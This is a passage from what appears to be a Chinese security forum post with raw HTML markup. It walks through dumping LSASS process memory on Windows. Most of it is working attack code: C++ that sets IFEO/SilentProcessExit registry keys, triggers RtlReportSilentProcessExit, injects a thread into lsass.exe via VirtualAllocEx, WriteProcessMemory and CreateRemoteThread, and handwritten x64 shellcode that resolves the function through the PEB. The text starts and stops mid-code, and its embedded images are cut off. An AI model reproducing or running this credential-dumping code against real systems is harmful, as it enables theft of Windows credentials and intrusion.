pid = <span class=hljs-built_in>getPidByName</span>(targetProcName);
<span class=hljs-keyword>if</span> (<span class=hljs-number>-1</span> == pid) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取目标进程pid: %#X\n"</span>, pid);
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取目标PID: %#X\n"</span>, pid);
<span class=hljs-keyword>do</span>
{
hNtMod = <span class=hljs-built_in>GetModuleHandle</span>(<span class=hljs-string>L"ntdll.dll"</span>);
<span class=hljs-keyword>if</span> (!hNtMod) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取NTDLL模块句柄失败\n"</span>);
<span class=hljs-keyword>break</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - NTDLL模块句柄: %#X\n"</span>, (DWORD)hNtMod);
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)<span class=hljs-built_in>GetProcAddress</span>(hNtMod, <span class=hljs-string>"RtlReportSilentProcessExit"</span>);
<span class=hljs-keyword>if</span> (!fnRtlReportSilentProcessExit) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取API RtlReportSilentProcessExit地址失败\n"</span>);
<span class=hljs-keyword>break</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - RtlReportSilentProcessExit地址: %#X\n"</span>, (DWORD)fnRtlReportSilentProcessExit);
hLsassProc = <span class=hljs-built_in>OpenProcess</span>(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, <span class=hljs-number>0</span>, pid);
<span class=hljs-keyword>if</span> (!hLsassProc) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取lsass进程句柄失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>break</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取lsass进程句柄: %#X\n"</span>, (DWORD)hLsassProc);
ntStatus = <span class=hljs-built_in>fnRtlReportSilentProcessExit</span>(hLsassProc, <span class=hljs-number>0</span>);
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n"</span>, (DWORD)ntStatus);
} <span class=hljs-keyword>while</span> (<span class=hljs-literal>false</span>);
<span class=hljs-keyword>if</span> (hNtMod)
<span class=hljs-built_in>CloseHandle</span>(hNtMod);
<span class=hljs-keyword>if</span> (fnRtlReportSilentProcessExit)
<span class=hljs-built_in>CloseHandle</span>(fnRtlReportSilentProcessExit);
<span class=hljs-keyword>if</span> (hLsassProc)
<span class=hljs-built_in>CloseHandle</span>(hLsassProc);
<span class=hljs-keyword>if</span> (fnRtlReportSilentProcessExit)
fnRtlReportSilentProcessExit = <span class=hljs-literal>NULL</span>;
<span class=hljs-keyword>return</span> <span class=hljs-number>0</span>;
}
</code></pre>
<p blockindex=15>修改注册表-&gt;开启DEBUG权限-&gt;遍历LSASS.EXE pid-&gt;得到RtlReportSilentProcessExit函数指针-&gt;执行RtlReportSilentProcessExit静默退出</p>
<p blockindex=16>最后会在指定的目录下生成一个文件夹,存放dump的内存</p>
<p blockindex=17>但是用这个方法会出现</p>
<p blockindex=18><a href=https://shs3.b.qianxin.com/attack_forum/2021/11/attach-aba05da63cc44c6e4cc9f044c4381112a256119c.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu4AAADaCAYAAAD5acdYAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9f3xU1Z3//xxAJCAgBAgJP6yYoKUQJbGVhmoFLEIIFesPVnzUkC2GwtYkAq5247arS1pcBZPoypcfn0LsqgXp+oOQUFRw3QWlmmAGSpXEH/xKMkCAACaoMPf7x8x7MnMzd34kE5LA+/kwDnPvPeeee865d973dd7nfWyGYRgoiqIoiqIoitKh6VZZ9Vl7l0FRFEVRFEVRlCDYVHFXFEVRFEVRlI5Pl/YugKIoiqIoiqIowVHDXVEURVEURVE6AWq4K4qiKIqiKEonQA13RVEURVEURekEdAPYt29fe5dDURRFURRFUZQAdJN/jBw5sj3LoSiKoiiKoihKANRVRlEURVEURVE6Ad2sdpy2/xTDMMD1n+vTMNhf349XPkth6pAyrrisgav71tO1x3foO+Y/L1ypFUVRFEVRFOUSw9JwNwyDPkNm4jLbnWC4Pp/9dBAfGGPYtS+RM3U1bP+no9Tt33jBCqwoiqIoiqIolyLWrjIis3sZ7WBwx7V1RDUeoj7qak70uMa9/4KU1YdNmzaxbNkyABobG7n//vupq6sLmKauro4bb7zR8ri6ujri4uKw2Wz07dsXu93u2bds2TLi4uKCnuNCsGzZMs+1+2PTpk1kZGT4Tbdp06ag+dvtdnJycnzymzhxIo2Njc2ODVanSsdF205RFEVROheWhrvLFvc12jGc9OnxLQ11NZw+5qDh1CkwnO1ht4fEpk2bsNlsnr8BAwZQVlbGgAEDfLZ7G7MTJkygrq6OCRMmUFxc7Dlm4cKF1NTUeNJaGbIdDSsjXsjIyPCpi4kTJ5KQkMDw4cOZOHEiO3fu5K233mLr1q1ERUV50i1btsyyTkN5wVm2bJlPubxfmmw2m98yZ2RkBHxhURR/SF9rbGxk4sSJlve+d//yd2w4L+7ezx5JJ/eM+c+7DP7ShdPv5T7yd7y/vMH1ot63b1+/5TGX2fu+DLTP+372V2+ByqkoiqJYE1hxNxntYBAffY7/mX+Uv/1iB1/m2Pnhiz9k2o5nyFn7IWe/Pd+mhW1sbGTGjBk+Srg/MjIyPD8+s2fPxjAMDMPg2LFjJCcnc+zYMc+2pUuXWuaTlpbmOc78ZzZk2wp/P/YLFy5k4cKFzbaH8iP45ptv+oworFmzhoaGBu644w4qKiq46qqr6NmzJwsXLmTbtm2MGzeOgoICvy8rxcXFVFRUcMcdd9DQ0IBhGDQ0NDBhwoSAZbDb7bz33nu88MILgMugGDBgAKtWrfLU7913393sel544QXee++9oO0fScSAC2WkQul4mPtanz59qKiowDAMKioqmDdvXsD+VFxc7OmTq1atYsCAAUH7wqZNm1i6dKnnnqiuriY6OpoFCxb4PEMqKiq47rrrGDduXMB0ofR76adjxowhOTk55DLV1dUxZcoUXn75ZQzDoLi4mAcffNBjaO/evZulS5d6yrxmzRpPnlb7GhsbycrKYvfu3RiGwe23386iRYtCKqeiKIoSGGvF3Y/R7vnE6fm3s3tPulzRn30NUThOfR30hI2NjWzZsoXz5yNv5B8/fpy4uDjGjBnDtGnTWpTHtm3biI6OZtu2bYCvG05LXQtac83+fuz79OlDbGyszwuIYRjMmzePiRMnkpaWxtq1a4mLi+P48eOsXbvWY/Bv3LiRY8eO+ahjDQ0NfO973yMxMZE1a9ZQUVFBdna254dcfpz9vawkJiby4IMPMn/+/JCv6dlnn+XBBx8kKiqKuro6HnzwQYqLi33abNq0aSxYsMAnXVRUFA8++CDPPvtsWHXYln2uvbmYry0SePc1M4mJiUyaNIm33347pLymTZtGRUUFixYtsnwGNDY2smrVKvLz84O+2D/77LM888wzREdHB0wXSr+Piopi69atVFdXM2DAgLDKFBcX53l5GDduHH379uXw4cOe/ddee63lef3ti4qK4qWXXiI6OhqAu+++m/3799PY2BiwnIqiKEpwgoSDDGy0g5PxUeX0PV1B3Tc2dlYFN2jfe+893n//ff70pz+12tgQ1fnWW2+lqqqKG2+8kc2bN/sYfGK0Wrl1LFy40CdPb1eZxsZG5syZw7/9279x++23M3v2bJ544gmKiorCUmAjdc2NjY089dRT/OpXv/I7fC4/isXFxcyePZvNmzfzq1/9yjPqsHTpUlatWkXPnj358ssvPemKiopISUnxfF+3bh3JyclkZGSwY8cOpk+f7nlhkeH2hQsXkpaWhs1m87wo2Gw2evbsycsvv8yAAQP8urs0NjZy4sQJhg0bBsAHH3zAddddx8SJE/1es91uZ/jw4R61cdiwYZw4cSIsN6WW1n9dXR3XXHMN27ZtIy0tzTPiYHbrkXaoq6vju9/9Lv/1X//lcT3YtGmTj4uC2RXjj3/8o09e4Sr7kbyfvEd3WuJK4Z3Gars3VvVonk+SkZHh6UtWafxh7muRICEhgdjYWD744AO/+ysrKwH43e9+F7CMmzZtYv/+/Z5+HyxdS/p9KGWKjo5m1qxZFBUVAa77cdy4cSQmJtLY2Mj+/fs997l3mwTaZ2bDhg2kpaVdkBFKRVGUi50grjKBjXYMg9+lHmHJmD+w6Id9mJEcF/SEt912G/Hx8VRVVbXa2BAl+N133yU+Pp7PP/+cxMREn2Na4yoj9O/fnyeeeIIBAwa0SMmP1DXPnz+fWbNmER0dTXR0NCkpKQENl8TERF5++WW/+3r16sWQIUNobGykuLiYtLQ04uLi+OMf/0hKSgplZWVMmjSJ4cOHs2/fPsaMGUN0dDTTpk3DMAxmz55NcXExxcXFPup/Q0MDs2bN4tixYz7D6kJDQwOHDh1iyJAhLaqDIUOGcOjQIRoaGkJO09L6j46O5rPPPvPMd9i6dSsNDQ386Ec/YvPmzZ7rLS4u9hiz9fX1/OEPf6C2ttZTrxs2bPCMlqxatcrHwHn00Uc9LgVmN4W2vDYzdrudVatWedpRXCkaGxtZv349tbW1zcpolcZquzd1dXWW9bhgwQJuv/12zwvy/v37eeGFFwKm8Uewvma323nnnXe47bbbWlRn/jh48CBvvPEGP//5zz1tnp+f7+Pm0tjYyNKlS1m4cKHHmA2WriX9PpwyiQiSlpbGmDFjgCYhQJ6VixYt4p577vFRzv3tA9+XvbvvvrvZ6JmiKIrSMoK4ygQ22sHJ5V2+Ia5nPXcn96N7t65BT9i1a1fuueceevToQVVVFdu3b4/QpUQGs6sMuFxwFi1axIcfftgiX+dIXHNGRkYzF6Bp06axe/fusCZ4vfnmm/Ts2ZOamhp69uzJ1q1bKSsr44MPPmDChAmsX7+etLQ06uvrOXLkCL/85S+ZNWsWDz/8sCcPb7Vw2rRpbN68mV/84hchqYGHDx9m6NCh9OzZM6TyJiYmcuDAAc8LWc+ePRk6dKjPUH4wItnnPvjgAz755BOuv/56zwjDtm3b+PTTTwHo27evxyVh3LhxXHfddZ66EwPSu+yrVq3yGLUTJ07kuuuus1Rz2/LahgwZQn19PSNGjPAx6KKioli8eDHLly/3GHbB0lht9yZYPT7zzDM888wzzJo1y1OfgdL4iwjlr6+dOnXKk/7mm2+muLi42ct+MPr06cOwYcMso1BNmDDBo6T7c8eprKykpqbG454iBErn3e8DRb+ywipvu91Ofn6+x+//2LFjPPPMM36fc+np6dTU1HgU/ED7EhMTqa+vxzAMNmzY0Gkm8yuKonR0ArvKBDHawaC+toKu3XpQ/8kTIZ3w/PnzvPrqq5w9e5b4+HjGjx/fuivwg3c4w9a4ygB89dVXzJ49m3Xr1vHhhx+yatUqysvLwypPa67ZezKXP9VqzZo17N69O2DkGG9++lPXwlq
把执行的进程也dump出来,问题是不大就是有点不美观</p>
<p blockindex=19>所以想尝试线程注入的方式</p>
<h2 blockindex=20>0x03 线程注入</h2>
<h3 blockindex=21>ThreadProc</h3>
<p blockindex=22>之前写线程注入的时候写过,CreateRemoteThread第四个参数是函数,第五个参数是函数的参数</p>
<p blockindex=23>注意使用CreateThread创建线程的时候可以直接使用函数</p>
<p blockindex=24>使用CreateRemoteThread需要传入函数指针调用函数</p>
<pre blockindex=25><code class="hljs language-c++"><span class=hljs-meta>#<span class=hljs-meta-keyword>include</span><span class=hljs-meta-string>&lt;stdio.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span><span class=hljs-meta-string>&lt;Windows.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span><span class=hljs-meta-string>&lt;tlhelp32.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"shlwapi.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>pragma</span> comment(lib, <span class=hljs-meta-string>"shlwapi.lib"</span>)</span>
<span class=hljs-function><span class=hljs-keyword>typedef</span> <span class=hljs-title>NTSTATUS</span><span class=hljs-params>(NTAPI* fRtlReportSilentProcessExit)</span><span class=hljs-params>(
HANDLE processHandle,
NTSTATUS ExitStatus
)</span></span>;
<span class=hljs-keyword>typedef</span> <span class=hljs-class><span class=hljs-keyword>struct</span> <span class=hljs-title>Rtl</span> {</span>
HANDLE GCP; <span class=hljs-comment>//参数</span>
FARPROC dwRtlReportSilentProcessExit; <span class=hljs-comment>//函数地址</span>
} RtlReportParam;
<span class=hljs-function>DWORD WINAPI <span class=hljs-title>threadProc</span><span class=hljs-params>(LPVOID lParam)</span><span class=hljs-comment>//线程函数</span>
</span>{
fRtlReportSilentProcessExit RtlReportSilentProcessExit; <span class=hljs-comment>//声明函数</span>
RtlReportPar am* pRP = (RtlReportParam*)lParam; <span class=hljs-comment>//将指针转换为结构指针</span>
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP-&gt;dwRtlReportSilentProcessExit; <span class=hljs-comment>//取出函数指针</span>
<span class=hljs-built_in>RtlReportSilentProcessExit</span>(pRP-&gt;GCP, <span class=hljs-number>0</span>); <span class=hljs-comment>//调用函数</span>
<span class=hljs-keyword>return</span> <span class=hljs-number>0</span>;
}
<span class=hljs-function>DWORD <span class=hljs-title>getPidByName</span><span class=hljs-params>(PCWCHAR procName)</span> </span>{ <span class=hljs-comment>//获取进程PID</span>
HANDLE hProcSnapshot;
DWORD retPid = <span class=hljs-number>-1</span>;
hProcSnapshot = <span class=hljs-built_in>CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, <span class=hljs-number>0</span>);
PROCESSENTRY32W pe;
<span class=hljs-keyword>if</span> (INVALID_HANDLE_VALUE == hProcSnapshot) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 创建快照失败!\n"</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
pe.dwSize = <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(PROCESSENTRY32W);
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>Process32First</span>(hProcSnapshot, &amp;pe)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - Process32First Error : %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>do</span> {
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>lstrcmpiW</span>(procName, <span class=hljs-built_in>PathFindFileName</span>(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} <span class=hljs-keyword>while</span> (<span class=hljs-built_in>Process32Next</span>(hProcSnapshot, &amp;pe));
<span class=hljs-built_in>CloseHandle</span>(hProcSnapshot);
<span class=hljs-keyword>return</span> retPid;
}
<span class=hljs-function><span class=hljs-keyword>void</span> <span class=hljs-title>main</span><span class=hljs-params>()</span>
</span>{
DWORD dwSize = <span class=hljs-number>4096</span>;
PCWCHAR targetProcName = <span class=hljs-string>L"lsass.exe"</span>;
<span class=hljs-keyword>int</span> pid = <span class=hljs-built_in>getPidByName</span>(targetProcName);
HANDLE notepad = <span class=hljs-built_in>OpenProcess</span>(PROCESS_ALL_ACCESS, <span class=hljs-number>0</span>, pid);
<span class=hljs-comment>//把ThreadProcx写入内存</span>
LPVOID base_address = <span class=hljs-built_in>VirtualAllocEx</span>(notepad, <span class=hljs-number>0</span>, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"function_address: %p\n"</span>, base_address);
BOOL res = <span class=hljs-built_in>WriteProcessMemory</span>(notepad, base_address, &amp;threadProc, dwSize, <span class=hljs-number>0</span>);
​
<span class=hljs-comment>//获取函数地址和参数,传到结构里面并写入注入进程的内存</span>
​ RtlReportParam RtlReportParamData;
​ <span class=hljs-built_in>ZeroMemory</span>(&amp;RtlReportParamData, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(RtlReportParam));
​ RtlReportParamData.dwRtlReportSilentProcessExit = <span class=hljs-built_in>GetProcAddress</span>(<span class=hljs-built_in>LoadLibraryA</span>(<span class=hljs-string>"ntdll.dll"</span>), <span class=hljs-string>"RtlReportSilentProcessExit"</span>);
​ RtlReportParamData.GCP = <span class=hljs-built_in>GetCurrentProcess</span>();
LPVOID pRemoteParam = <span class=hljs-built_in>VirtualAllocEx</span>(notepad, <span class=hljs-number>0</span>, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(RtlReportParamData), MEM_COMMIT, PAGE_READWRITE);
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"Param: %p"</span>, RtlReportParamData.dwRtlReportSilentProcessExit);
<span class=hljs-built_in>WriteProcessMemory</span>(notepad, pRemoteParam, &amp;RtlReportParamData, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(RtlReportParamData), <span class=hljs-number>0</span>);
DWORD dwWriteBytes;
<span class=hljs-comment>//执行函数</span>
HANDLE hRemoteThread = <span class=hljs-built_in>CreateRemoteThread</span>(
notepad, <span class=hljs-literal>NULL</span>, <span class=hljs-number>0</span>, (<span class=hljs-built_in>DWORD</span>(WINAPI*)(<span class=hljs-keyword>void</span>*))base_address,
pRemoteParam, CREATE_SUSPENDED, &amp;dwWriteBytes);
<span class=hljs-built_in>ResumeThread</span>(hRemoteThread);
}
</code></pre>
<p blockindex=26>这里没写注册表,就是个测试文件,但是很不稳定所以就想写个shellcode这样函数的调用会很清楚</p>
<h3 blockindex=27>编写64位shellcode</h3>
<p blockindex=28>以前写过32位的shellcode,其实差不多,需要注意的是64位的指针是八个字节的</p>
<h3 blockindex=29>VisualStudio x64汇编</h3>
<p blockindex=30>VistualStudio x64不支持__asm,需要配置一下才能执行汇编</p>
<p blockindex=31>右键项目-&gt;生成依赖项-&gt;生成自定义</p>
<p blockindex=32><a href=https://shs3.b.qianxin.com/attack_forum/2021/11/attach-0d51549932d7f69096c0a2849f192dd6d0818a00.png><img src="data:image/png;base64,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
<p blockindex=33>勾选masm,新建一个asm文件,就可以开始写汇编了</p>
<p blockindex=34>写完之后需要在cpp文件里面声明函数,函数名要和汇编内一样</p>
<pre blockindex=35><code class="hljs language-C++"><span class=hljs-meta>#<span class=hljs-meta-keyword>include</span><span class=hljs-meta-string>&lt;stdio.h&gt;</span></span>
<span class=hljs-keyword>extern</span> <span class=hljs-string>"C"</span> <span class=hljs-function><span class=hljs-keyword>void</span> <span class=hljs-title>func</span><span class=hljs-params>()</span></span>;
<span class=hljs-function><span class=hljs-keyword>int</span> <span class=hljs-title>main</span><span class=hljs-params>()</span> </span>{
<span class=hljs-built_in>func</span>();
<span class=hljs-keyword>return</span> <span class=hljs-number>0</span>;
}
</code></pre>
<p blockindex=36>现在就可以开始编写shellcode了</p>
<h3 blockindex=37>64位shellcode</h3>
<p blockindex=38>在64位中指针有8个字节,所以有些偏移需要改一下</p>
<p blockindex=39>下面是汇编文件</p>
<pre blockindex=40><code class="hljs language-asm">.DATA ;数据段
.CODE ;代码段
func PROC ;定义函数,函数名和cpp文件内声明函数一样
mov rdx,gs:[60h] ;64位PEB地址
mov rbx, [rdx+18h] ;Ldr
mov rsi, [rbx+28h] ;InMemoryOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rsi,[rsi] ;找到ntdll.dll的LDR_DATA_TABLE_ENTRY
mov rbx, [rsi+20h] ;ntdll.dll的基址
mov edx, [rbx+3Ch] ;e_lfanew偏移
add rdx, rbx ;e_lfanew
mov edx, [rdx+88h] ;VirtualAddress偏移
add rdx, rbx ;VirtualAddress
mov esi, [rdx+20h] ;AddressOfNames偏移
add rsi, rbx ;AddressOfNames
xor rcx,rcx ;rcx置零
Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 526c7452h
jnz Get_Function
cmp dword ptr [rax+4], 726f7065h
jnz Get_Function
cmp dword ptr [rax+8], 6c695374h
jnz Get_Function
;找到RtlReportSilentProcessExit名称地址
mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx
;这里都和32位差不多
mov rcx, -1 ;-1代表当前进程句柄,因为需要注入到进程在那个进程就是当前进程
mov rdx, 0 ;第二个参数
call rbx ;执行RtlReportSilentProcessExit
ret
func ENDP;
END
</code></pre>
<p blockindex=41>用脚本提取一下shellcode在32位文章里面有写过</p>
<p blockindex=42>把原来的代码修改一下</p>
<pre blockindex=43><code class="hljs language-c++"><span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>&lt;Windows.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>&lt;tlhelp32.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>&lt;stdio.h&gt;</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"shlwapi.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>pragma</span> comment(lib, <span class=hljs-meta-string>"shlwapi.lib"</span>)</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> IFEO_REG_KEY <span class=hljs-meta-string>L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> SILENT_PROCESS_EXIT_REG_KEY <span class=hljs-meta-string>L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> LOCAL_DUMP 0x2</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> FLG_MONITOR_SILENT_PROCESS_EXIT 0x200</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> DUMP_FOLDER <span class=hljs-meta-string>L"c:\\windows\\temp"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> MiniDumpWithFullMemory 0x2</span>
<span class=hljs-function>BOOL <span class=hljs-title>EnableDebugPriv</span><span class=hljs-params>()</span> </span>{
HANDLE hToken = <span class=hljs-literal>NULL</span>;
LUID luid;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>OpenProcessToken</span>(<span class=hljs-built_in>GetCurrentProcess</span>(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) {
